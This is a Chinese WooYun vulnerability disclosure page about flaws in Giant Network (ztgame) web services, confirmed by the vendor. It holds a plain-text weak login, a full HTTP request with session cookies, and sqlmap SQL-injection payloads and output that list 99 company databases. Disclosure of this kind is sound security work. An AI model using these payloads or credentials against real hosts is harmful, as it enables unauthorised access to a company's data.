当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157345

漏洞标题:巨人网络漏洞打包(弱口令/文件目录遍历/sql注入)

相关厂商:巨人网络

漏洞作者: Looke

提交时间:2015-12-01 15:53

修复时间:2016-01-16 14:36

公开时间:2016-01-16 14:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向核心白帽子及相关领域专家公开
2015-12-22: 细节向普通白帽子公开
2016-01-01: 细节向实习白帽子公开
2016-01-16: 细节向公众公开

简要描述:

漏洞打包,求良心20rank啊

详细说明:

0x01:文件目录遍历
漏洞地址:http://event.ztgame.com

1.png


2.png


3.png


4.png

漏洞证明:

0x02.弱口令
统一数据安卓app:http://mobile.ztgame.com/mobile/index.php
账户:wangwei 密码:123456

11.png


22.png


33.png


44.png


55.png


0x03:sql注入漏洞,涉及99个库
漏洞地址:

GET /mobileapp/zhibiao.php HTTP/1.1
Host: mobile.ztgame.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; MI NOTE LTE Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Referer: https://mobile.ztgame.com/mobileapp/index.php
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,en-US;q=0.8
Cookie: m_username=wangwei*; m_hash=50e8eb7ea8fafc482d2a6ab68fc5ce28; PHPSESSID=9v4rnqlh8iej1gj6bi91sm5fr3
X-Requested-With: com.ztgame.openurl


Cookie中m_username参数存在注入

---
Parameter: Cookie #1* ((custom) HEADER)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m_username=wangwei' AND 4789=4789 AND 'fWPU'='fWPU; m_hash=50e8eb7e
a8fafc482d2a6ab68fc5ce28; PHPSESSID=9v4rnqlh8iej1gj6bi91sm5fr3
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: m_username=wangwei' AND (SELECT 9825 FROM(SELECT COUNT(*),CONCAT(0x
7176706b71,(SELECT (ELT(9825=9825,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM INFO
RMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'JNwZ'='JNwZ; m_hash=50e8eb7ea8f
afc482d2a6ab68fc5ce28; PHPSESSID=9v4rnqlh8iej1gj6bi91sm5fr3
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: m_username=wangwei' AND (SELECT * FROM (SELECT(SLEEP(5)))yQuv) AND
'Hocl'='Hocl; m_hash=50e8eb7ea8fafc482d2a6ab68fc5ce28; PHPSESSID=9v4rnqlh8iej1gj
6bi91sm5fr3
---
[21:44:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.11, PHP 5.4.4
back-end DBMS: MySQL 5.0


涉及99个数据库:

111.png


available databases [99]:
[*] a_consume_day
[*] a_ly360_consume_day
[*] a_ptaidata_web
[*] a_zoneinfo_hour
[*] action_rpt_god
[*] action_rpt_hs
[*] action_rpt_pla
[*] action_rpt_xxsj
[*] action_rpt_ztgame
[*] action_rpt_ztnew
[*] all_zoneInfo
[*] all_zoneInfo_hour
[*] anti_fraud_cheat_account
[*] anti_fraud_stat
[*] area_stat_rpt
[*] buy_silver
[*] caiwu_check
[*] caiwu_data_report
[*] cb_rpt
[*] check_ordervsobj
[*] check_up
[*] classify_user_rpt
[*] consume_vip
[*] cs_order
[*] csjz_cb_tmp
[*] csjz_hour_stat
[*] data_node_course_detail
[*] data_node_name_day
[*] db_union_sortlist
[*] dim_tpart_config
[*] dim_zoneinfo_for_xinjian
[*] easy_consume_rpt
[*] finance_dw
[*] finance_lost_reg
[*] GAQ
[*] GAQ1_download
[*] GAQ4_download
[*] GAQ5_download
[*] GAQ6_download
[*] GAQ8_download
[*] GAQ9_download
[*] hbs
[*] hour_computer
[*] hour_computer_back
[*] hour_computer_bak11111
[*] information_schema
[*] jh_sortlist
[*] loading_lost
[*] mail_quick
[*] media_stat
[*] money_monitor
[*] mysql
[*] new_user_rpt
[*] newzone_15index
[*] objkeywords_stat
[*] peng
[*] ptai_stat_219
[*] ptai_stat_report
[*] ptai_stat_report_del
[*] ptai_stat_rpt
[*] realtime_rpt
[*] realtime_rpt_test
[*] realtime_rpt_tmp
[*] remain_rpt
[*] report
[*] resource_manage_system
[*] rpt_client_adcost
[*] rpt_client_ptai_stat
[*] rpt_mobile_conf
[*] rpt_mobile_consume_stat
[*] rpt_mobile_ptai_stat
[*] rpt_mobile_realtime_stat
[*] rpt_mobile_realtime_stat_test
[*] rpt_mobile_user_trace
[*] rpt_mobile_user_trace_test
[*] rpt_must_ptai_stat
[*] rpt_must_user_trace
[*] scb_ws
[*] scb_xxsj
[*] select_db_detail
[*] sobj_stat
[*] sortlist_collect_rpt
[*] stat
[*] stat_analyze
[*] stat_consume
[*] test
[*] transform_rpt
[*] user_analyze
[*] user_analyze_xt
[*] user_analyze_zt2
[*] user_analyze_ztgame
[*] user_center_rpt
[*] user_segmentation_report
[*] vip
[*] vip_xt_obj
[*] vip_zt2_obj
[*] vip_ztgame_obj
[*] xxxx
[*] zoneinfo

修复方案:

你们更专业

版权声明:转载请注明来源 Looke@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-02 14:35

厂商回复:

感谢路人甲同学,再接再厉! 20rank奉上

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-02 16:31 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    评论奉上